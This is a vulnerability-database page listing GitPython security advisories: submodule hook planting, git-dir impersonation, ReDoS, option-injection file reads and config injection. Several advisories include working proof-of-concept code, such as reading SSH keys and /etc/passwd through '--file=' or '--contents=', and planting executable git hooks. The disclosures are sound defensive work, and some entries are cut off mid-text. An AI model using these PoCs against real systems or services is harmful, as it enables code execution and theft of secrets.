Threats affecting pkg:brew/cf2tf
33 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.5 | EPSS 0.4% | CVE-2026-114145Cf2tf · GitPython validates a submodule's ".git" path only after cloning into it (RCE) High7.5EPSS 0.4%GCVE DatabaseCVE-2026-114145 ### Summary `create_submodule(name, path, url)` clones a submodule into the repo's own `.git` directory before it rejects the path. A `path` of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named `post-checkout` in the submodule becomes an executable `.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`, but only after the clone already wrote to disk, and it does not remove the planted hook; on 3.1.x there is no such check and the call succeeds silently. Either way the hook runs on the next git operation (e.g. checkout), giving code execution. ### Details The checkout path is validated too late, after the clone has already mutated disk. This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate submodule checkout and metadata paths before mutation") set out to enforce. Submodule.add() calls the permissive path check before cloning, and the strict check only reaches the ".git" alias at index time, after _clone_repo has written to disk: git/objects/submodule/base.py (Submodule.add) 599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks" 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into <worktree>/.git/hooks 714: index.add([sm], write=True) # strict check only triggers here git/index/base.py (IndexFile._preprocess_add_items) 732: _validate_repo_path(entry.path) # rejects ".git", too late _to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and runs at the index boundary. The ValueError it raises at line 732 does not roll back what _clone_repo already wrote. Version-dependent behavior: - 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the hook is already on disk and is not removed (incorrect order of validation vs. clone). - 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does not reject `.git`; create_submodule(path=".git/hooks", ...) returns with no error at all and the hook is planted silently. ### Proof of concept Setup: evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload) victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO sample hooks (the state of a minimal/CI checkout, or `git init` with an empty template dir, or GIT_TEMPLATE_DIR/init.templateDir empty) import git, os.path as osp try: git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub")) except ValueError: pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened. # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook. #### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every #### affected version. Any later checkout runs it: #### git -C victim checkout <other-branch> -> the hook runs -> code execution Verified live: - tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and `git checkout` executed it. - 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted and executed by `git checkout`. ### Impact Arbitrary code execution. A library/app that creates a submodule from an attacker-influenced `path` ends up with an attacker-controlled executable in `.git/hooks`, which git runs on ordinary later operations. This affects any service that derives a submodule checkout path from untrusted data, e.g. one that ingests a submodule spec (name/path/url) from a user-supplied manifest or API request and feeds `path` into create_submodule. On 3.2.0+ the library's own validation is the thing that fails: it correctly rejects the `.git` path, but only after the submodule has already been cloned into place, so an app that traps the ValueError reasonably believes the unsafe path was blocked. Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`; (2) the target hook name is free in `.git/hooks`, true for minimal/CI/container checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default sample hooks present, `git clone` refuses the non-empty destination and no plant occurs. Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08 (3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError. | GCVE Database | ||
| High | 8.7 | EPSS 0.4% | High8.7EPSS 0.4%GCVE DatabaseCVE-2026-100689 **Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here. --- ## The gap The fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/<name>` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw: ```python # git/objects/submodule/base.py:172-177 def _set_cache_(self, attr): if attr in ("path", "_url", "_branch_path"): reader = self.config_reader() self.path = reader.get("path") # raw .gitmodules value ``` and GitPython's own containment guard is applied in only two of the places that consume it: ``` 400: def _to_relative_path(cls, parent_repo, path) # the guard (abspath + commonpath containment) 542: path = cls._to_relative_path(repo, path) # add() — guarded 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) # move() — guarded ``` `update()` validates only the name and then uses the path-derived absolute location directly: ``` 788: self._validated_name(self.name) # NAME only 801: checkout_module_abspath = self.abspath # derived from self.path — unguarded 821: os.makedirs(checkout_module_abspath, exist_ok=True) ``` So `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`. The asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not. ## Honest limits (please read before rating) - **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`). - **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`. ## Suggested fix Apply the guard the project already has, wherever the path is consumed: ```python # in update(), before deriving abspath (and in any other consumer of self.path): checkout_rel = self._to_relative_path(self.repo, self.path) # raises if it escapes the working tree ``` Better still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields. ## Prior art checked `GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this. ## Credit **kta1kri**. --- ## Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments) ```text === EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded === Mon Aug 31 18:45:22 UTC 2026 --- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty --- --- the containment guard GitPython owns, and its only two call sites --- 33: _to_relative_path, 400: def _to_relative_path(cls, parent_repo: "Repo", path: PathLike) -> PathLike: 407: path = _to_relative_path(parent_repo.working_tree_dir, path) 542: path = cls._to_relative_path(repo, path) 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) --- the parent fix (_validated_name) call sites: it validates the NAME --- 309: def _validated_name(cls, name: str) -> str: 321: name = cls._validated_name(name) 541: cls._validated_name(name) 788: self._validated_name(self.name) 1040: self._validated_name(self.name) 1181: self._validated_name(self.name) 1439: self._validated_name(self.name) 1440: self._validated_name(new_name) 1489: self._validated_name(self.name) --- update(): name validated, path not; abspath -> os.makedirs --- try: self._validated_name(self.name) # ENSURE RE | GCVE Database | ||
| High | 8.7 | EPSS 0.5% | CVE-2026-87819cf2tf · GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer High8.7EPSS 0.5%GCVE DatabaseCVE-2026-87819 ### Summary GitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the `author` or `committer` header of a git commit object that contains a long string with an unterminated `<` (no matching `>`), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length. A single crafted commit object can block any GitPython API call that reads `.author` or `.committer` for **over two minutes per invocation**, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories. --- ### Details **Vulnerable file and line:** `git/util.py`, line 863: ```python name_email_regex = re.compile(r"(.*) <(.*?)>") ``` This regex is evaluated inside `Actor._from_string()` (line 909) every time GitPython resolves a commit's `.author` or `.committer` property. **Full call chain — from public API to vulnerable sink:** commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE `author_line` is decoded directly from the raw bytes of the git commit object with **no length limit, character restriction, or timeout** applied at any point before reaching the regex engine. The same chain is triggered by: - `commit.author` - `commit.committer` - `repo.iter_commits()` - `repo.blame()` - Any web service / CI tool that displays or processes commit metadata **Why this pattern backtracks catastrophically:** The pattern `(.*) <(.*?)>` contains an unbounded greedy group `(.*)` followed by a literal space and `<`. When the input is a long string that contains `<` but no closing `>`, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns. **Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):** | Author field length (bytes) | Time to resolve `.author` | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | **200,000** | **150.488 s** | Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes **no practical size limit** on author name fields in the object format. **How the malicious object reaches a victim:** The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into `.git/objects/`. `git cat-file -t <sha>` confirms it is a valid `commit` type and git's own read-side tools display it without error. Only git's write-side tooling (`git commit --author`, `git update-index`, explicit `git fsck`) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include: - A git server with `receive.fsckObjects = false` (common in self-hosted deployments) - A `.git` directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level --- ### PoC **Environment used for testing:** - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04 **Script 1 — craft the malicious repository (`craft_malicious_repo.py`):** ```python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/. Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes> """ import hashlib, os, subprocess, sys, zlib def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True) def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>") sys.exit(1) target_dir, payload_size = sys.argv[1], int(sys.argv[2]) os.makedirs(target_dir, exist_ok=True) run(["git", "init", "--quiet"], cwd=target_dir) run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir) run(["git", "config", "user.name", "PoC"], cwd=target_dir) with open(os.path.join(target_dir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run( | GCVE Database | ||
| High | 8.7 | EPSS 0.4% | CVE-2026-87817GitPython · Repository content can impersonate the git directory, leading to arbitrary code execution High8.7EPSS 0.4%GCVE DatabaseCVE-2026-87817 ### Summary `Repo.__init__` decides which directory is the git directory by testing candidate paths in an order that considers the real `.git` **last**. Two earlier tests can be satisfied by ordinary tracked files. Git reserves only the literal name `.git`, so `HEAD`, `objects/`, `refs/`, `config`, `gitdir`, `commondir` and `hooks/` at a repository root are all legal tracked content. Consequently, after a victim opens or clones an attacker's repository, GitPython resolves `git_dir` to the **working-tree root** while real git correctly resolves `<root>/.git`. Everything GitPython then treats as "inside the git directory" is attacker-authored content — including `hooks/`, which it executes. ### CVE-2026-87817 ### Affected code (3.1.59) The discovery loop in `git/repo/base.py` tests, in order: 1. `git/repo/base.py:299` — `isfile(curpath/gitdir)` **and** `isfile(curpath/commondir)` **and** `isfile(curpath/HEAD)` 2. `git/repo/base.py:320` — `is_git_dir(curpath)` 3. `git/repo/base.py:341` — `dotgit = osp.join(curpath, ".git")` ← the real git dir, considered last `is_git_dir` (`git/repo/fun.py:60`) requires only that `objects/` and `refs/` are directories and that `HEAD` is a file; **`HEAD`'s contents are never parsed.** The hook path is resolved from `index.repo.git_dir` (`git/index/fun.py:73`), i.e. the mis-resolved directory. ### Proof of concept Requires only `pip install GitPython==3.1.59`. Full script attached as `poc1_rce.py`; it runs entirely in a temp directory and the payload only writes a marker file. Attacker repository — four ordinary tracked files at the root: | path | mode | content | |---|---|---| | `gitdir` | 100644 | `.git\n` | | `commondir` | 100644 | `.git\n` | | `HEAD` | 100644 | `ref: refs/heads/master\n` | | `hooks/pre-commit` | **100755** | `#!/bin/sh` + payload | Victim — two ordinary calls: ```python repo = git.Repo.clone_from(url, dst) # or git.Repo(dst) repo.index.commit("automated commit") # code execution happens here ``` Observed on the PyPI release 3.1.59 (Linux and Windows): ``` real git says the git dir is : /tmp/.../victim/.git GitPython says it is : /tmp/.../victim <- shadowed attacker's hook executed : True git fsck : (clean) ``` The `pre-commit` hook runs at `git/index/base.py:1201`, before `write_tree()`, so it fires even though the commit later fails. ### Impact A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool — can be made to: 1. **Execute arbitrary commands** via the tracked `<root>/hooks/pre-commit` when the victim calls `index.commit()`. 2. **Read files outside the repository**: the tracked `<root>/config` becomes the repository config and is parsed with `merge_includes=True` (`git/repo/base.py:765`), so `[include] path = ~/.aws/credentials` discloses the file. (`Repo._config_reader` still defaults `merge_includes=True`, so the hardening added in 3.1.59 for `.gitmodules`/GHSA-7833 does not cover this path.) 3. **Write a config file to an attacker-chosen directory** via an absolute tracked `commondir`. Delivery is silent: `git clone` exits 0, `git fsck` (including `--strict`, and with `transfer.fsckObjects`/`fetch.fsckObjects=true`) reports nothing, and the clone passes every read-only probe (`head.commit`, `branches`, `is_dirty()`, `untracked_files`, `iter_commits`) because a tracked `commondir` of `.git` pins `common_dir` to the real `.git`. ### Threat model / preconditions - Attacker controls the content of a repository the victim opens or clones with GitPython (public repo, fork PR, mirrored dependency). - For code execution, the victim performs a commit via GitPython's native `index.commit()`. For the file-read impact, opening the repo and reading config is enough. - `GIT_WORK_TREE` is **not** a mitigation — `git_dir` is assigned and the discovery loop breaks before the environment is consulted. - Real git is unaffected; only GitPython mis-resolves the directory. ### Remediation 1. Test `curpath/.git` **before** the `gitdir`/`commondir`/`HEAD` triple and before `is_git_dir(curpath)`. 2. Resolve `hook_path` / `_commit_hook_path` / `_get_validated_reflog_path` through `repo.common_dir`. 3. Containment-check `commondir`/`gitdir` contents before joining (reuse `SymbolicReference._get_validated_path`). 4. Validate `HEAD` in `is_git_dir` (require `ref: refs/...` or a 40-hex sha). 5. Pass `merge_includes=False` in `Repo._config_reader` (`git/repo/base.py:765`). ### Note for the maintainers Commit `406b98e1` (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via `git rev-parse --git-path`, which is immune because git rediscovers the true `.git`. Commit `9bc287a2` (2026-07-20) reverted it to avoid an unconditional `rev-parse` dependency — reintroducing the exec step. Measured at each commit with the healthy-lo | GCVE Database | ||
| High | 7.1 | EPSS 0.3% | CVE-2026-78679cf2tf · GitPython: TagReference.create positional reference bypasses kwargs-only --file guard, enabling arbitrary file read High7.1EPSS 0.3%GCVE DatabaseCVE-2026-78679 ## Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ## Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ## Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ## Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ## Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @ tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @ tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ## Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ## Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ## Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| High | 8.7 | EPSS 0.7% | CVE-2026-78677cf2tf · GitPython: clone_from()/clone() omit --separate-git-dir from unsafe_git_clone_options, enabling arbitrary High8.7EPSS 0.7%GCVE DatabaseCVE-2026-78677 - **CWE:** CWE-73 (External Control of File Name or Path) / CWE-22 (Path Traversal, in the "escapes intended base directory" sense) - **Affected component:** `git/repo/base.py`, `Repo.unsafe_git_clone_options` (class attribute, lines 153-165) and `Repo._clone()` (lines 1477-1520), reached via the public `Repo.clone_from()` (line 1626) and `Repo.clone()` (line 1567) APIs. - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability `Repo.clone_from(url, to_path, **kwargs)` (and `Repo.clone()`) forward arbitrary keyword arguments to the underlying `git clone` invocation. Before forwarding, GitPython builds a candidate option list from the kwargs (`Git._option_candidates`) and checks it against a denylist, `Repo.unsafe_git_clone_options`, via `Git.check_unsafe_options()` — *unless* the caller passes `allow_unsafe_options=True`. This denylist mechanism is exactly the guard that the last ~16 published GHSAs against this repo (2026-07-12 → 2026-08-05) have repeatedly found incomplete or bypassable for other options (`--template`, `--upload-pack`, `--config`, `--exec`, `--output`, `--index-output`, `--pathspec-from-file`, etc.). `git clone` also accepts `--separate-git-dir=<path>`, which redirects the repository's entire `.git` metadata directory to an **arbitrary, caller-controlled filesystem path**, leaving only a gitlink text file (`gitdir: <path>`) at the intended destination. This is the exact same primitive already recognized as unsafe by GitPython's own code: `Repo.unsafe_git_init_options` (line 145-150) blocks `--separate-git-dir` for `Repo.init()`, with the comment *"Redirects the repository metadata to a caller-controlled path"*. The `Repo._clone()`/`clone()`/`clone_from()` docstring (line 1450-1452) is even more explicit: ``` :param allow_unsafe_options: Allow unsafe options to be used, such as ``--template`` and ``--separate-git-dir``. ``` i.e. the maintainers' own documentation states that `allow_unsafe_options=False` (the default) is supposed to block `--separate-git-dir` for clone. But **`Repo.unsafe_git_clone_options` does not contain it**: ```python unsafe_git_clone_options = [ "--upload-pack", "-u", "--config", "-c", "--template", "--bundle-uri", ] ``` So any application that forwards a `separate_git_dir` (or `separate-git-dir`) kwarg into `Repo.clone_from()` / `Repo.clone()` — e.g. a CI/build service, a Git-hosting proxy, or any tool that exposes a subset of clone options to a client, the exact threat model already accepted for the sibling `--template`/`--upload-pack`/`--config` entries in this same list — gets **no protection at all** for `--separate-git-dir`, even with the default `allow_unsafe_options=False`. ## Root cause Parity gap between two sibling denylists that guard the same underlying primitive (arbitrary redirection of git metadata storage): `unsafe_git_init_options` correctly lists `--separate-git-dir`; `unsafe_git_clone_options`, covering the same option on a different git subcommand that also accepts it, does not — despite the function's own docstring claiming otherwise. This is the same "denylist omits an equally-dangerous sibling option" pattern already responsible for `GHSA-539m-9xh6-q6rr` (`archive` denylist missing `--add-file`/`--add-virtual-file`) and `GHSA-6p8h-3wgx-97gf` (`clone` denylist missing `--template`, since fixed). ## Exploit path 1. Attacker-controlled input reaches a `separate_git_dir=...` (or equivalently `"separate-git-dir"`) keyword argument passed into `Repo.clone_from()` / `Repo.clone()` by the host application, with `allow_unsafe_options` left at its default `False`. 2. `Git._option_candidates()` renders this as `--separate-git-dir` and `Git.check_unsafe_options()` checks it against `Repo.unsafe_git_clone_options` — no match, no `UnsafeOptionError` raised. 3. `Git.transform_kwargs()` renders the same kwarg into the real command line as `--separate-git-dir=<attacker path>` and GitPython executes `git clone -v --separate-git-dir=<attacker path> -- <url> <dest>` via `subprocess` (no shell). 4. `git` itself creates the full repository metadata tree (`config`, `description`, `HEAD`, `hooks/`, `index`, `objects/`, `refs/`, `packed-refs`, `logs/`) at the attacker-specified path — which can be **any path outside the intended clone destination** that the process has permission to create — and leaves a gitlink file at the intended destination pointing to it. ## Impact Arbitrary directory/file creation at a path fully controlled by the attacker (bounded only by filesystem permissions of the process running GitPython), matching the impact class of the already-published, High-severity `GHSA-hmq2-w58f-27jc` ("Arbitrary Git Repository Creation Outside the Working Tree", CVSS 8.2). Concretely: - Planting a git repository structure (including a `hooks/` directory) at an attacker-chosen location outside the sandboxed clone destination the calling application in | GCVE Database | ||
| High | 7.1 | EPSS 0.4% | CVE-2026-78678cf2tf · GitPython: Incomplete unsafe_git_revision_options denylist omits --contents/-S, enabling arbitrary file read via High7.1EPSS 0.4%GCVE DatabaseCVE-2026-78678 ## Summary `Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory). ## Root Cause `unsafe_git_revision_options = ["--output","-o"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision. ## Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`. ## Proof of Concept ```python result = repo.blame("--contents=/etc/passwd", "a.txt") # result rows carry the victim file's line text ``` ## Attack Chain 1. Entry: app calls `repo.blame(rev, file)` with attacker `rev="--contents=/etc/passwd"` (or kwarg `contents="/etc/passwd"`, or `-S`). 2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `["--output","-o"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error. 3. Sink: `self.git.blame(rev, "--", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`. 4. Impact: blame result rows carry the victim file's line text. ## Bypass Evidence Independently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded. ## Affected Versions `GitPython <= 3.1.58` (denylist present verbatim on the latest release tag). ## Suggested Fix Prefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule "the option takes a filesystem path" rather than "the option writes output". --- Reported by **zx (Jace)** — GitHub: @manus-use | GCVE Database | ||
| Critical | 9.3 | EPSS 0.8% | CVE-2026-78676GitPython · Dormant multi-line git-config values are corrupted into live injected directives (e.g Critical9.3EPSS 0.8%GCVE DatabaseCVE-2026-78676 - **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ## Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ## Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, | GCVE Database | ||
